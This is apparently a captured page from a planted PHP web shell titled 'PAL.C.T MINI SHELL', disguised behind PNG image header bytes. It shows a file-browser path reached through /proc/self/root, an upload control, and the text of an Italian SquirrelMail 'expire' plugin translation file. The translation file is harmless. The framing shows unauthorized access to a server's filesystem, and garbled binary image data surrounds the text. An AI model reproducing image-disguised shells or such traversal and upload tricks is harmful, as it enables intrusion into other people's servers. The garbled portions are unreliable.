php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/it_IT/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/it_IT/LC_MESSAGES/expire.po

# Italian (it_IT) expire Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Andrea Volani <andreavola@gmail.com>, 2009.
# $Id: expire.pot 11128 2006-05-13 09:22:15Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: expire 1.3.1\n"
"Report-Msgid-Bugs-To: Florian Daeumling <jam@qv90.de>\n"
"POT-Creation-Date: 2006-05-13 11:09+0200\n"
"PO-Revision-Date: 2009-04-27 16:38+0100\n"
"Last-Translator: Andrea Volani <andreavola@gmail.com>\n"
"Language-Team: Italian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: functions.php:28
#, php-format
msgid "ERROR (%s): Can't load config file"
msgstr "ERRORE (%s): Impossibile caricare il file di configurazione"

#: functions.php:49
msgid "Cannot create option directory!"
msgstr "Impossibile creare la directory opzioni!"

#: functions.php:50 functions.php:57 functions.php:63 functions.php:181
#: functions.php:187 functions.php:230
msgid "Please contact system administrator."
msgstr "Contatta l'amministratore di sistema."

#: functions.php:56
msgid "Cannot create option file!"
msgstr "Impossibile creare il file delle opzioni!"

#: functions.php:62 functions.php:186
msgid "Cannot create temporary file!"
msgstr "Impossibile creare il file temporaneo!"

#: functions.php:100
msgid "Expiration"
msgstr "Scadenza"

#: functions.php:106 functions.php:125
msgid "Expire emails in folder"
msgstr "Fai scadere le email nella cartella"

#: functions.php:108 functions.php:127
msgid "Select a folder"
msgstr "Seleziona una cartella"

#: functions.php:112
msgid "after"
msgstr "dopo"

#: functions.php:114
msgid "days"
msgstr "giorni"

#: functions.php:118
msgid "Define"
msgstr "Definisci"

#: functions.php:130
#, php-format
msgid "%s after %s days"
msgstr "%s dopo %s giorni"

#: functions.php:135
msgid "Delete"
msgstr "Cancella"

#: functions.php:143
msgid "Error"
msgstr "Errore"

#: functions.php:168
msgid "This folder definition cannot be modified"
msgstr "Le definizioni di questa cartella non possono essere modificate"

#: functions.php:180
msgid "Cannot read option file!"
msgstr "Impossibile leggere il file delle opzioni!"

#: functions.php:198
#, php-format
msgid "Expiration modified successfully for folder %s."
msgstr "Scadenza modificata con successo per la cartella %s."

#: functions.php:211
#, php-format
msgid "Expiration deleted successfully for folder %s."
msgstr "Scadenza cancellata con successo per la cartella %s."

#: functions.php:220
#, php-format
msgid "Expiration set successfully for folder %s."
msgstr "Scadenza impostata con successo per la cartella %s."

#: functions.php:229
msgid "Cannot replace option file!"
msgstr "Impossibile sostituire il file delle opzioni!"

#: options.php:27
msgid "You have not selected a folder."
msgstr "Non hai selezionato una cartella."

#: options.php:38
msgid "You have not entered a valid number of days."
msgstr "Non hai inserito un numero di giorni valido."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`